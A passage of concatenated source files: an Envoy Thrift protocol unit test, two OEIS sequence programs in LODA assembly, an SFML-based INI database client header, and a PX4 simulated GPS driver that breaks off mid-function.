EXPECT_TRUE(proto.readMessageBegin(buffer, metadata_)); expectMetadata("the_name", MessageType::Call, 1); EXPECT_EQ(buffer.length(), 0); EXPECT_EQ(proto.name(), "binary(auto)"); EXPECT_EQ(proto.type(), ProtocolType::Binary); } // Compact protocol { AutoProtocolImpl proto; resetMetadata(); Buffer::OwnedImpl buffer; buffer.writeBEInt<int16_t>(0x8221); buffer.writeBEInt<int16_t>(0x8202); // 0x0102 buffer.writeByte(8); buffer.add("the_name"); EXPECT_TRUE(proto.readMessageBegin(buffer, metadata_)); expectMetadata("the_name", MessageType::Call, 0x0102); EXPECT_EQ(buffer.length(), 0); EXPECT_EQ(proto.name(), "compact(auto)"); EXPECT_EQ(proto.type(), ProtocolType::Compact); } // Twitter protocol { AutoProtocolImpl proto; resetMetadata(); Buffer::OwnedImpl buffer; buffer.writeBEInt<int16_t>(0x8001); buffer.writeByte(0); buffer.writeByte(MessageType::Call); buffer.writeBEInt<int32_t>(TwitterProtocolImpl::upgradeMethodName().length()); buffer.add(TwitterProtocolImpl::upgradeMethodName()); buffer.writeBEInt<int32_t>(1); EXPECT_TRUE(proto.readMessageBegin(buffer, metadata_)); expectMetadata(TwitterProtocolImpl::upgradeMethodName(), MessageType::Call, 1); EXPECT_EQ(buffer.length(), 0); EXPECT_EQ(proto.name(), "twitter(auto)"); EXPECT_EQ(proto.type(), ProtocolType::Twitter); } } TEST_F(AutoProtocolTest, ReadDelegation) { NiceMock<MockProtocol>* proto = new NiceMock<MockProtocol>(); AutoProtocolImpl auto_proto; auto_proto.setProtocol(ProtocolPtr{proto}); // readMessageBegin Buffer::OwnedImpl buffer; resetMetadata(); EXPECT_CALL(*proto, readMessageBegin(Ref(buffer), Ref(metadata_))).WillOnce(Return(true)); EXPECT_TRUE(auto_proto.readMessageBegin(buffer, metadata_)); // readMessageEnd EXPECT_CALL(*proto, readMessageEnd(Ref(buffer))).WillOnce(Return(true)); EXPECT_TRUE(auto_proto.readMessageEnd(buffer)); // readStructBegin std::string name; EXPECT_CALL(*proto, readStructBegin(Ref(buffer), Ref(name))).WillOnce(Return(true)); EXPECT_TRUE(auto_proto.readStructBegin(buffer, name)); // readStructEnd EXPECT_CALL(*proto, readStructEnd(Ref(buffer))).WillOnce(Return(true)); EXPECT_TRUE(auto_proto.readStructEnd(buffer)); // readFieldBegin FieldType field_type = FieldType::Stop; int16_t field_id = 1; EXPECT_CALL(*proto, readFieldBegin(Ref(buffer), Ref(name), Ref(field_type), Ref(field_id))) .WillOnce(Return(true)); EXPECT_TRUE(auto_proto.readFieldBegin(buffer, name, field_type, field_id)); // readFieldEnd EXPECT_CALL(*proto, readFieldEnd(Ref(buffer))).WillOnce(Return(true)); EXPECT_TRUE(auto_proto.readFieldEnd(buffer)); // readMapBegin FieldType value_type = FieldType::Stop; uint32_t size = 1; EXPECT_CALL(*proto, readMapBegin(Ref(buffer), Ref(field_type), Ref(value_type), Ref(size))) .WillOnce(Return(true)); EXPECT_TRUE(auto_proto.readMapBegin(buffer, field_type, value_type, size)); // readMapEnd EXPECT_CALL(*proto, readMapEnd(Ref(buffer))).WillOnce(Return(true)); EXPECT_TRUE(auto_proto.readMapEnd(buffer)); // readListBegin EXPECT_CALL(*proto, readListBegin(Ref(buffer), Ref(field_type), Ref(size))) .WillOnce(Return(true)); EXPECT_TRUE(auto_proto.readListBegin(buffer, field_type, size)); // readListEnd EXPECT_CALL(*proto, readListEnd(Ref(buffer))).WillOnce(Return(true)); EXPECT_TRUE(auto_proto.readListEnd(buffer)); // readSetBegin EXPECT_CALL(*proto, readSetBegin(Ref(buffer), Ref(field_type), Ref(size))).WillOnce(Return(true)); EXPECT_TRUE(auto_proto.readSetBegin(buffer, field_type, size)); // readSetEnd EXPECT_CALL(*proto, readSetEnd(Ref(buffer))).WillOnce(Return(true)); EXPECT_TRUE(auto_proto.readSetEnd(buffer)); // readBool { bool value; EXPECT_CALL(*proto, readBool(Ref(buffer), Ref(value))).WillOnce(Return(true)); EXPECT_TRUE(auto_proto.readBool(buffer, value)); } // readByte { uint8_t value; EXPECT_CALL(*proto, readByte(Ref(buffer), Ref(value))).WillOnce(Return(true)); EXPECT_TRUE(auto_proto.readByte(buffer, value)); } // readInt16 { int16_t value; EXPECT_CALL(*proto, readInt16(Ref(buffer), Ref(value))).WillOnce(Return(true)); EXPECT_TRUE(auto_proto.readInt16(buffer, value)); } // readInt32 { int32_t value; EXPECT_CALL(*proto, readInt32(Ref(buffer), Ref(value))).WillOnce(Return(true)); EXPECT_TRUE(auto_proto.readInt32(buffer, value)); } // readInt64 { int64_t value; EXPECT_CALL(*proto, readInt64(Ref(buffer), Ref(value))).WillOnce(Return(true)); EXPECT_TRUE(auto_proto.readInt64(buffer, value)); } // readDouble { double value; EXPECT_CALL(*proto, readDouble(Ref(buffer), Ref(value))).WillOnce(Return(true)); EXPECT_TRUE(auto_proto.readDouble(buffer, value)); } // readString { std::string value = "x"; EXPECT_CALL(*proto, readString(Ref(buffer), Ref(value))).WillOnce(Return(true)); EXPECT_TRUE(auto_proto.readString(buffer, value)); } // readBinary { std::string value = "x"; EXPECT_CALL(*proto, readBinary(Ref(buffer), Ref(value))).WillOnce(Return(true)); EXPECT_TRUE(auto_proto.readBinary(buffer, value)); } } TEST_F(AutoProtocolTest, WriteDelegation) { NiceMock<MockProtocol>* proto = new NiceMock<MockProtocol>(); AutoProtocolImpl auto_proto; auto_proto.setProtocol(ProtocolPtr{proto}); // writeMessageBegin Buffer::OwnedImpl buffer; EXPECT_CALL(*proto, writeMessageBegin(Ref(buffer), Ref(metadata_))); auto_proto.writeMessageBegin(buffer, metadata_); // writeMessageEnd EXPECT_CALL(*proto, writeMessageEnd(Ref(buffer))); auto_proto.writeMessageEnd(buffer); // writeStructBegin EXPECT_CALL(*proto, writeStructBegin(Ref(buffer), "name")); auto_proto.writeStructBegin(buffer, "name"); // writeStructEnd EXPECT_CALL(*proto, writeStructEnd(Ref(buffer))); auto_proto.writeStructEnd(buffer); // writeFieldBegin EXPECT_CALL(*proto, writeFieldBegin(Ref(buffer), "name", FieldType::Stop, 100)); auto_proto.writeFieldBegin(buffer, "name", FieldType::Stop, 100); // writeFieldEnd EXPECT_CALL(*proto, writeFieldEnd(Ref(buffer))); auto_proto.writeFieldEnd(buffer); // writeMapBegin EXPECT_CALL(*proto, writeMapBegin(Ref(buffer), FieldType::I32, FieldType::String, 100)); auto_proto.writeMapBegin(buffer, FieldType::I32, FieldType::String, 100); // writeMapEnd EXPECT_CALL(*proto, writeMapEnd(Ref(buffer))); auto_proto.writeMapEnd(buffer); // writeListBegin EXPECT_CALL(*proto, writeListBegin(Ref(buffer), FieldType::String, 100)); auto_proto.writeListBegin(buffer, FieldType::String, 100); // writeListEnd EXPECT_CALL(*proto, writeListEnd(Ref(buffer))); auto_proto.writeListEnd(buffer); // writeSetBegin EXPECT_CALL(*proto, writeSetBegin(Ref(buffer), FieldType::String, 100)); auto_proto.writeSetBegin(buffer, FieldType::String, 100); // writeSetEnd EXPECT_CALL(*proto, writeSetEnd(Ref(buffer))); auto_proto.writeSetEnd(buffer); // writeBool EXPECT_CALL(*proto, writeBool(Ref(buffer), true)); auto_proto.writeBool(buffer, true); // writeByte EXPECT_CALL(*proto, writeByte(Ref(buffer), 100)); auto_proto.writeByte(buffer, 100); // writeInt16 EXPECT_CALL(*proto, writeInt16(Ref(buffer), 100)); auto_proto.writeInt16(buffer, 100); // writeInt32 EXPECT_CALL(*proto, writeInt32(Ref(buffer), 100)); auto_proto.writeInt32(buffer, 100); // writeInt64 EXPECT_CALL(*proto, writeInt64(Ref(buffer), 100)); auto_proto.writeInt64(buffer, 100); // writeDouble EXPECT_CALL(*proto, writeDouble(Ref(buffer), 10.0)); auto_proto.writeDouble(buffer, 10.0); // writeString EXPECT_CALL(*proto, writeString(Ref(buffer), "string")); auto_proto.writeString(buffer, "string"); // writeBinary EXPECT_CALL(*proto, writeBinary(Ref(buffer), "binary")); auto_proto.writeBinary(buffer, "binary"); } // Test that protocol-upgrade methods are delegated to the detected protocol. TEST_F(AutoProtocolTest, ProtocolUpgradeDelegation) { NiceMock<MockProtocol>* proto = new NiceMock<MockProtocol>(); AutoProtocolImpl auto_proto; auto_proto.setProtocol(ProtocolPtr{proto}); // supportsUpgrade EXPECT_CALL(*proto, supportsUpgrade()).WillOnce(Return(true)); EXPECT_TRUE(auto_proto.supportsUpgrade()); // upgradeRequestDecoder { DecoderEventHandlerSharedPtr handler{new MockDecoderEventHandler()}; EXPECT_CALL(*proto, upgradeRequestDecoder()).WillOnce(Return(handler)); EXPECT_EQ(auto_proto.upgradeRequestDecoder().get(), handler.get()); } // upgradeResponse { NiceMock<MockDecoderEventHandler> handler; DirectResponse* response = new NiceMock<MockDirectResponse>(); EXPECT_CALL(*proto, upgradeResponse(Ref(handler))) .WillOnce(Invoke([&](const DecoderEventHandler&) -> DirectResponsePtr { return DirectResponsePtr{response}; })); EXPECT_EQ(response, auto_proto.upgradeResponse(handler).get()); } // attemptUpgrade { ThriftConnectionState state; NiceMock<MockTransport> transport; Buffer::OwnedImpl buffer; ThriftObject* obj = new NiceMock<MockThriftObject>(); EXPECT_CALL(*proto, attemptUpgrade(Ref(transport), Ref(state), Ref(buffer))) .WillOnce( Invoke([&](Transport&, ThriftConnectionState&, Buffer::Instance&) -> ThriftObjectPtr { return ThriftObjectPtr{obj}; })); EXPECT_EQ(obj, auto_proto.attemptUpgrade(transport, state, buffer).get()); } // completeUpgrade { ThriftConnectionState state; NiceMock<MockThriftObject> obj; EXPECT_CALL(*proto, completeUpgrade(Ref(state), Ref(obj))); auto_proto.completeUpgrade(state, obj); } } TEST_F(AutoProtocolTest, Name) { AutoProtocolImpl proto; EXPECT_EQ(proto.name(), "auto"); } TEST_F(AutoProtocolTest, Type) { AutoProtocolImpl proto; EXPECT_EQ(proto.type(), ProtocolType::Auto); } TEST_F(AutoProtocolTest, SetUnexpectedType) { Buffer::OwnedImpl buffer; AutoProtocolImpl proto; resetMetadata(); buffer.writeBEInt<int16_t>(0x0102); proto.setType(ProtocolType::Auto); EXPECT_THROW_WITH_MESSAGE(proto.readMessageBegin(buffer, metadata_), EnvoyException, "unknown thrift auto protocol message start 0102"); } } // namespace ThriftProxy } // namespace NetworkFilters } // namespace Extensions } // namespace Envoy
; A264041: a(n) is the maximum number of diagonals that can be placed in an n X n grid made up of 1 X 1 unit squares when diagonals are placed in the unit squares in such a way that no two diagonals may cross or intersect at an endpoint. ; 1,3,6,10,16,21,29,36,46,55,68,78,93,105,122,136,156,171,193,210,234,253,280,300,329,351 mov $2,$0 add $2,1 mov $6,$0 lpb $2 mov $0,$6 sub $2,1 sub $0,$2 mov $4,$0 mov $7,$0 gcd $0,2 mul $0,$7 mul $0,2 div $0,3 mov $3,2 add $3,$4 add $3,6 add $3,$0 add $3,3 div $3,2 mov $5,$3 sub $5,4 add $1,$5 lpe
#pragma once #include "Enums.hpp" #include "Data.hpp" class INI_Connector { sf::TcpSocket socket; bool connected; std::string username, db; //Send packet to the user. Try max MAX_PACKET_TRIES times. bool SendPacket(sf::Packet &packet, int max_tries = MAX_PACKET_TRIES) { int count = 0; if (!connected) return false; while (count < max_tries) { if (socket.send(packet) == sf::Socket::Done) return true; std::this_thread::sleep_for(std::chrono::milliseconds(2)); ++count; } return false; } //Receive packet from the user. Try max MAX_PACKET_TRIES times. bool ReceivePacket(sf::Packet &packet, int max_tries = MAX_PACKET_TRIES) { packet.clear(); int count = 0; if (!connected) return false; while (count < max_tries) { if (socket.receive(packet) == sf::Socket::Done) return true; std::this_thread::sleep_for(std::chrono::milliseconds(2)); ++count; } return false; } public: //Initializes the network with username and database. bool InitNetwork(std::string username) { this->username = username; this->db = db; socket.setBlocking(false); int count = 0; connected = false; sf::Packet packet; std::cout << "Trying to connect to the server...\n"; while (count < MAX_PACKET_TRIES) { if (socket.connect(sf::IpAddress::getLocalAddress(), SERVER_PORT) == sf::Socket::Done) { connected = true; break; } count++; } if (!connected) return false; std::cout << "Connection succeeded. Ready to send and receive data :D\n"; packet << PacketType::CONNECT << username; if (!SendPacket(packet)) { std::cout << "Error sending packet. Please check network!\n"; return false; } packet.clear(); if (!ReceivePacket(packet)) { std::cout << "Error receiving packet. Please check network!\n"; return false; } int status; packet >> status; if (status == PacketType::SUCCESS) { std::cout << "Network successfully established and accepted!\n"; } else if (status == PacketType::ALREADYCONNECTED) { std::cout << "Network failed! User with this name is already connected!\n"; return false; } connected = true; return true; } //Connect to a Database. bool ConnectDB(std::string db) { sf::Packet packet; packet << PacketType::INIACCESS << INIAccessType::LOAD << db; if (!SendPacket(packet)) { std::cout << "Error sending packet. Please check network!\n"; return false; } if (!ReceivePacket(packet)) { std::cout << "Error receiving packet at db. Please check network!\n"; return false; } int status, load; packet >> status >> load; if (load == INIAccessType::NEWINI) std::cout << "Created new INI (File did not exist previously)\n"; else if (load == INIAccessType::LOADPASSED) std::cout << "File loaded successfully\n"; return true; } std::string FetchString(std::string section, std::string key) { sf::Packet packet; packet << PacketType::INIACCESS << INIAccessType::FETCH << section << key << DataType::STRING; if (!SendPacket(packet)) { std::cout << "Error sending packet. Please check network!\n"; return "NODATA"; } if (!ReceivePacket(packet)) { std::cout << "Error receiving packet. Please check network!\n"; return "NODATA"; } int accesstype, type; std::string str; packet >> accesstype >> type; if (type == INIAccessType::NEWINI) { std::cout << "There is nothing in the database to fetch!\n"; } else if (type == INIAccessType::UNDEFINED) { std::cout << "You are not connected to any Database!\n"; } else if (type == DataType::FAILEDDATA) { std::cout << "This data does not exist!\n"; } else if (type == DataType::INVALIDDATA) { std::cout << "This is not a valid datatype!\n"; } else if(type == DataType::SUCCESSDATA) { packet >> str; } return str; } int FetchInt(std::string section, std::string key) { sf::Packet packet; packet << PacketType::INIACCESS << INIAccessType::FETCH << section << key << DataType::INT; if (!SendPacket(packet)) { std::cout << "Error sending packet. Please check network!\n"; return false; } if (!ReceivePacket(packet)) { std::cout << "Error receiving packet. Please check network!\n"; return false; } int accesstype, type, data = -1; packet >> accesstype >> type; if (type == INIAccessType::NEWINI) { std::cout << "There is nothing in the database to fetch!\n"; } else if (type == INIAccessType::UNDEFINED) { std::cout << "You are not connected to any Database!\n"; } else if (type == DataType::FAILEDDATA) { std::cout << "This data does not exist!\n"; } else if (type == DataType::INVALIDDATA) { std::cout << "This is not a valid datatype!\n"; } else if(type == DataType::SUCCESSDATA) { packet >> data; } return data; } float FetchFloat(std::string section, std::string key) { sf::Packet packet; packet << PacketType::INIACCESS << INIAccessType::FETCH << section << key << DataType::FLOAT; if (!SendPacket(packet)) { std::cout << "Error sending packet. Please check network!\n"; return false; } if (!ReceivePacket(packet)) { std::cout << "Error receiving packet. Please check network!\n"; return false; } int accesstype, type; float data; packet >> accesstype >> type; if (type == INIAccessType::NEWINI) { std::cout << "There is nothing in the database to fetch!\n"; } else if (type == INIAccessType::UNDEFINED) { std::cout << "You are not connected to any Database!\n"; } else if (type == DataType::FAILEDDATA) { std::cout << "This data does not exist!\n"; } else if (type == DataType::INVALIDDATA) { std::cout << "This is not a valid datatype!\n"; } else if(DataType::SUCCESSDATA) { packet >> data; } return data; } bool InsertString(std::string section, std::string key, std::string val) { sf::Packet packet; packet << PacketType::INIACCESS << INIAccessType::INSERT << section << key << DataType::STRING << val; if (!SendPacket(packet)) { std::cout << "Error sending packet. Please check network!\n"; return false; } if (!ReceivePacket(packet)) { std::cout << "Error receiving packet. Please check network!\n"; return false; } int accesstype, type; packet >> accesstype >> type; if (type == INIAccessType::UNDEFINED) { std::cout << "You are not connected to any Database!\n"; return false; } else if (type == DataType::FAILEDDATA) { std::cout << "Could not insert data. File might not be open on the server. Please reconnect!\n"; return false; } else if (type == DataType::INVALIDDATA) { std::cout << "This is not a valid datatype!\n"; return false; } else if (type == DataType::SUCCESSDATA) { std::cout << "Successfully inserted data. To finalize it, call the finalize function!\n"; } return true; } bool InsertInt(std::string section, std::string key, int val) { sf::Packet packet; packet << PacketType::INIACCESS << INIAccessType::INSERT << section << key << DataType::INT << val; if (!SendPacket(packet)) { std::cout << "Error sending packet. Please check network!\n"; return false; } if (!ReceivePacket(packet)) { std::cout << "Error receiving packet. Please check network!\n"; return false; } int accesstype, type; packet >> accesstype >> type; if (type == INIAccessType::UNDEFINED) { std::cout << "You are not connected to any Database!\n"; return false; } else if (type == DataType::FAILEDDATA) { std::cout << "Could not insert data. File might not be open on the server. Please reconnect!\n"; return false; } else if (type == DataType::INVALIDDATA) { std::cout << "This is not a valid datatype!\n"; return false; } else if (type == DataType::SUCCESSDATA) { std::cout << "Successfully inserted data. To finalize it, call the finalize function!\n"; } return true; } bool InsertFloat(std::string section, std::string key, float val) { sf::Packet packet; packet << PacketType::INIACCESS << INIAccessType::INSERT << section << key << DataType::STRING << val; if (!SendPacket(packet)) { std::cout << "Error sending packet. Please check network!\n"; return false; } if (!ReceivePacket(packet)) { std::cout << "Error receiving packet. Please check network!\n"; return false; } int accesstype, type; packet >> accesstype >> type; if (type == INIAccessType::UNDEFINED) { std::cout << "You are not connected to any Database!\n"; return false; } else if (type == DataType::FAILEDDATA) { std::cout << "Could not insert data. File might not be open on the server. Please reconnect!\n"; return false; } else if (type == DataType::INVALIDDATA) { std::cout << "This is not a valid datatype!\n"; return false; } else if (type == DataType::SUCCESSDATA) { std::cout << "Successfully inserted data. To finalize it, call the finalize function!\n"; } return true; } bool DeleteData(std::string section, std::string key) { sf::Packet packet; packet << PacketType::INIACCESS << INIAccessType::DELETE << section << key; if (!SendPacket(packet)) { std::cout << "Error sending packet. Please check network!\n"; return false; } if (!ReceivePacket(packet)) { std::cout << "Error receiving packet. Please check network!\n"; return false; } int accesstype, type; packet >> accesstype >> type; if (type == INIAccessType::NEWINI) { std::cout << "There is nothing in the database to fetch!\n"; } else if (type == INIAccessType::UNDEFINED) { std::cout << "You are not connected to any Database!\n"; return false; } else if (type == DataType::FAILEDDATA) { std::cout << "Could not delete data. File might not be open on the server or the key may not exist. Please reconnect!\n"; return false; } else if (type == DataType::SUCCESSDATA) { std::cout << "Successfully deleted data. To finalize it, call the finalize function!\n"; } return true; } bool FinalizeDatabase() { sf::Packet packet; packet << PacketType::INIACCESS << INIAccessType::FINALIZE; if (!SendPacket(packet)) { std::cout << "Error sending packet. Please check network!\n"; return false; } if (!ReceivePacket(packet)) { std::cout << "Error receiving packet. Please check network!\n"; return false; } int accesstype, type; packet >> accesstype >> type; if (type == INIAccessType::UNDEFINED) { std::cout << "You are not connected to any Database!\n"; return false; } else if (type == INIAccessType::FINALIZEFAILED) { std::cout << "Failed to save the data!\n"; return false; } else if (type == INIAccessType::FINALIZEFAILEDNODATA) { std::cout << "Failed to save data because there is nothing to save!\n"; return false; } else if (type == INIAccessType::FINALIZE) { std::cout << "Saved the data successfully!\n"; } return true; } };
; A044422: Numbers n such that string 9,0 occurs in the base 10 representation of n but not of n-1. ; Submitted by Christian Krause ; 90,190,290,390,490,590,690,790,890,900,990,1090,1190,1290,1390,1490,1590,1690,1790,1890,1900,1990,2090,2190,2290,2390,2490,2590,2690,2790,2890,2900,2990,3090,3190,3290,3390,3490,3590 add $0,1 mul $0,10 add $0,2 mov $1,$0 add $0,7 div $0,11 mul $0,22 sub $1,3 div $1,11 add $1,4 add $0,$1 mul $1,2 add $0,$1 sub $0,13 mul $0,4 div $0,10 add $0,1 mul $0,10
/**************************************************************************** * * Copyright (c) 2015 Roman Bapst. All rights reserved. * * Redistribution and use in source and binary forms, with or without * modification, are permitted provided that the following conditions * are met: * * 1. Redistributions of source code must retain the above copyright * notice, this list of conditions and the following disclaimer. * 2. Redistributions in binary form must reproduce the above copyright * notice, this list of conditions and the following disclaimer in * the documentation and/or other materials provided with the * distribution. * 3. Neither the name PX4 nor the names of its contributors may be * used to endorse or promote products derived from this software * without specific prior written permission. * * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS * "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT * LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS * FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE * COPYRIGHT OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, * INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, * BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS * OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED * AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT * LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN * ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE * POSSIBILITY OF SUCH DAMAGE. * ****************************************************************************/ /** * @file gpssim.cpp * Simulated GPS driver */ #include <sys/types.h> #include <px4_defines.h> #include <inttypes.h> #include <stdio.h> #include <stdbool.h> #include <stdlib.h> #include <semaphore.h> #include <string.h> #include <fcntl.h> #include <poll.h> #include <errno.h> #include <stdio.h> #include <math.h> #include <unistd.h> #include <fcntl.h> #include <px4_config.h> #include <px4_tasks.h> #include <drivers/drv_hrt.h> #include <drivers/device/device.h> #include <drivers/drv_gps.h> #include <uORB/uORB.h> #include <uORB/topics/vehicle_gps_position.h> #include <uORB/topics/satellite_info.h> #include <simulator/simulator.h> #include "DevMgr.hpp" #include "VirtDevObj.hpp" using namespace DriverFramework; #define GPS_DRIVER_MODE_UBX_SIM #define GPSSIM_DEVICE_PATH "/dev/gpssim" #define TIMEOUT_5HZ 500 #define RATE_MEASUREMENT_PERIOD 5000000 /* class for dynamic allocation of satellite info data */ class GPS_Sat_Info { public: struct satellite_info_s _data; }; class GPSSIM : public VirtDevObj { public: GPSSIM(const char *uart_path, bool fake_gps, bool enable_sat_info); virtual ~GPSSIM(); virtual int init(); virtual int devIOCTL(unsigned long cmd, unsigned long arg); /** * Diagnostics - print some basic information about the driver. */ void print_info(); protected: virtual void _measure() {} private: bool _task_should_exit; ///< flag to make the main worker task exit int _serial_fd; ///< serial interface to GPS unsigned _baudrate; ///< current baudrate char _port[20]; ///< device / serial port path volatile int _task; ///< worker task bool _healthy; ///< flag to signal if the GPS is ok bool _baudrate_changed; ///< flag to signal that the baudrate with the GPS has changed bool _mode_changed; ///< flag that the GPS mode has changed //gps_driver_mode_t _mode; ///< current mode GPS_Sat_Info *_Sat_Info; ///< instance of GPS sat info data object struct vehicle_gps_position_s _report_gps_pos; ///< uORB topic for gps position orb_advert_t _report_gps_pos_pub; ///< uORB pub for gps position struct satellite_info_s *_p_report_sat_info; ///< pointer to uORB topic for satellite info orb_advert_t _report_sat_info_pub; ///< uORB pub for satellite info float _rate; ///< position update rate bool _fake_gps; ///< fake gps output SyncObj _sync; /** * Try to configure the GPS, handle outgoing communication to the GPS */ void config(); /** * Trampoline to the worker task */ static void task_main_trampoline(void *arg); /** * Worker task: main GPS thread that configures the GPS and parses incoming data, always running */ void task_main(void); /** * Set the baudrate of the UART to the GPS */ int set_baudrate(unsigned baud); /** * Send a reset command to the GPS */ void cmd_reset(); int receive(int timeout); }; /* * Driver 'main' command. */ extern "C" __EXPORT int gpssim_main(int argc, char *argv[]); namespace { GPSSIM *g_dev = nullptr; } GPSSIM::GPSSIM(const char *uart_path, bool fake_gps, bool enable_sat_info) : VirtDevObj("gps", GPSSIM_DEVICE_PATH, nullptr, 1e6 / 10), _task_should_exit(false), //_healthy(false), //_mode_changed(false), //_mode(GPS_DRIVER_MODE_UBX), //_Helper(nullptr), _Sat_Info(nullptr), _report_gps_pos_pub(nullptr), _p_report_sat_info(nullptr), _report_sat_info_pub(nullptr), _rate(0.0f), _fake_gps(fake_gps) { // /* store port name */ // strncpy(_port, uart_path, sizeof(_port)); // /* enforce null termination */ // _port[sizeof(_port) - 1] = '\0'; /* we need this potentially before it could be set in task_main */ g_dev = this; memset(&_report_gps_pos, 0, sizeof(_report_gps_pos)); /* create satellite info data object if requested */ if (enable_sat_info) { _Sat_Info = new(GPS_Sat_Info); _p_report_sat_info = &_Sat_Info->_data; memset(_p_report_sat_info, 0, sizeof(*_p_report_sat_info)); } } GPSSIM::~GPSSIM() { /* tell the task we want it to go away */ _task_should_exit = true; /* spin waiting for the task to stop */ for (unsigned i = 0; (i < 10) && (_task != -1); i++) { /* give it another 100ms */ usleep(100000); } /* well, kill it anyway, though this will probably crash */ if (_task != -1) { px4_task_delete(_task); } g_dev = nullptr; } int GPSSIM::init() { int ret = PX4_ERROR; /* do regular cdev init */ if (VirtDevObj::init() != OK) { goto out; } /* start the GPS driver worker task */ _task = px4_task_spawn_cmd("gps", SCHED_DEFAULT, SCHED_PRIORITY_DEFAULT, 1500, (px4_main_t)&GPSSIM::task_main_trampoline, nullptr); if (_task < 0) { PX4_ERR("task start failed: %d", errno); return -errno; } ret = OK; out: return ret; } int GPSSIM::devIOCTL(unsigned long cmd, unsigned long arg) { _sync.lock(); int ret = OK; switch (cmd) { case SENSORIOCRESET: cmd_reset(); break; default: /* give it to parent if no one wants it */ ret = VirtDevObj::devIOCTL(cmd, arg); break; } _sync.unlock(); return ret; } void GPSSIM::task_main_trampoline(void *arg) { g_dev->task_main(); } int GPSSIM::receive(int timeout) { Simulator *sim = Simulator::getInstance(); simulator::RawGPSData gps; sim->getGPSSample((uint8_t *)&gps, sizeof(gps)); _report_gps_pos.timestamp = hrt_absolute_time(); _report_gps_pos.lat = gps.lat; _report_gps_pos.lon = gps.lon; _report_gps_pos.alt = gps.alt; _report_gps_pos.eph = (float)gps.eph * 1e-2f; _report_gps_pos.epv = (float)gps.epv * 1e-2f; _report_gps_pos.vel_m_s = (float)(gps.vel) / 100.0f; _report_gps_pos.vel_n_m_s = (float)(gps.vn) / 100.0f; _report_gps_pos.vel_e_m_s = (float)(gps.ve) / 100.0f; _report_gps_pos.vel_d_m_s = (float)(gps.vd) / 100.0f; _report_gps_pos.cog_rad = (float)(gps.cog) * 3.1415f / (100.0f * 180.0f); _report_gps_pos.fix_type = gps.fix_type; _report_gps_pos.satellites_used = gps.satellites_visible; usleep(200000); return 1; } void GPSSIM::task_main() { /* loop handling received serial bytes and also configuring in between */ while (!_task_should_exit) { if (_fake_gps) { _report_gps_pos.timestamp = hrt_absolute_time(); _report_gps_pos.lat = (int32_t)47.378301e7f; _report_gps_pos.lon = (int32_t)8.538777e7f; _report_gps_pos.alt = (int32_t)1200e3f; _report_gps_pos.s_variance_m_s = 10.0f; _report_gps_pos.c_variance_rad = 0.1f; _report_gps_pos.fix_type = 3; _report_gps_pos.eph = 0.9f; _report_gps_pos.epv = 1.8f; _report_gps_pos.vel_n_m_s = 0.0f; _report_gps_pos.vel_e_m_s = 0.0f; _report_gps_pos.vel_d_m_s = 0.0f; _report_gps_pos.vel_m_s = sqrtf(_report_gps_pos.vel_n_m_s * _report_gps_pos.vel_n_m_s + _report_gps_pos.vel_e_m_s * _report_gps_pos.vel_e_m_s + _report_gps_pos.vel_d_m_s * _report_gps_pos.vel_d_m_s); _report_gps_pos.cog_rad = 0.0f; _report_gps_pos.vel_ned_valid = true; //no time and satellite information simulated if (!(m_pub_blocked)) { if (_report_gps_pos_pub != nullptr) { orb_publish(ORB_ID(vehicle_gps_position), _report_gps_pos_pub, &_report_gps_pos); } else { _report_gps_pos_pub = orb_advertise(ORB_ID(vehicle_gps_position), &_report_gps_pos); } } usleep(2e5); } else { //Publish initial report that we have access to a GPS //Make sure to clear any stale data in case driver is reset memset(&_report_gps_pos, 0, sizeof(_report_gps_pos)); _report_gps_pos.timestamp = hrt_absolute_time(); _report_gps_pos.timestamp_time_relative = 0; if (!(m_pub_blocked)) { if (_report_gps_pos_pub != nullptr) { orb_publish(ORB_ID(vehicle_gps_position), _report_gps_pos_pub, &_report_gps_pos); } else { _report_gps_pos_pub = orb_advertise(ORB_ID(vehicle_gps_position), &_report_gps_pos); } } // GPS is obviously detected successfully, reset statistics //_Helper->reset_update_rates(); while ((receive(TIMEOUT_5HZ)) > 0 && !_task_should_exit) { /* opportunistic publishing - else invalid data would end up on the bus */ if (!(m_pub_blocked)) { orb_publish(ORB_ID(vehicle_gps_position), _report_gps_pos_pub, &_report_gps_pos); if (_p_report_sat_info) { if (_report_sat_info_pub != nullptr) { orb_publish(ORB_ID(satellite_info), _report_sat_info_pub, _p_report_sat_info); } else { _report_sat_info_pub = orb_advertise(ORB_ID(satellite_info), _p_report_sat_info); } } } } // FIXME - if ioctl is called then it will deadlock _sync.lock(); } } PX4_INFO("exiting"); /* tell the dtor that we are exiting */ _task = -1; return; } void GPSSIM::cmd_reset() { } void GPSSIM::print_info() { //GPS Mode if (_fake_gps) { PX4_INFO("protocol: faked"); } else { PX4_INFO("protocol: SIM"); } PX4_INFO("port: %s, baudrate: %d, status: %s", _port, _baudrate, (_healthy) ? "OK" : "NOT OK"); PX4_INFO("sat info: %s, noise: %d, jamming detected: %s", (_p_report_sat_info != nullptr) ? "enabled" : "disabled", _report_gps_pos.noise_per_ms, _report_gps_pos.jamming_indicator == 255 ? "YES" : "NO"); if (_report_gps_pos.timestamp != 0) { PX4_INFO("position lock: %dD, satellites: %d, last update: %8.4fms ago", (int)_report_gps_pos.fix_type, _report_gps_pos.satellites_used, (double)(hrt_absolute_time() - _report_gps_pos.timestamp) / 1000.0); PX4_INFO("lat: %d, lon: %d, alt: %d", _report_gps_pos.lat, _report_gps_pos.lon, _report_gps_pos.alt); PX4_INFO("vel: %.2fm/s, %.2fm/s, %.2fm/s", (double)_report_gps_pos.vel_n_m_s, (double)_report_gps_pos.vel_e_m_s, 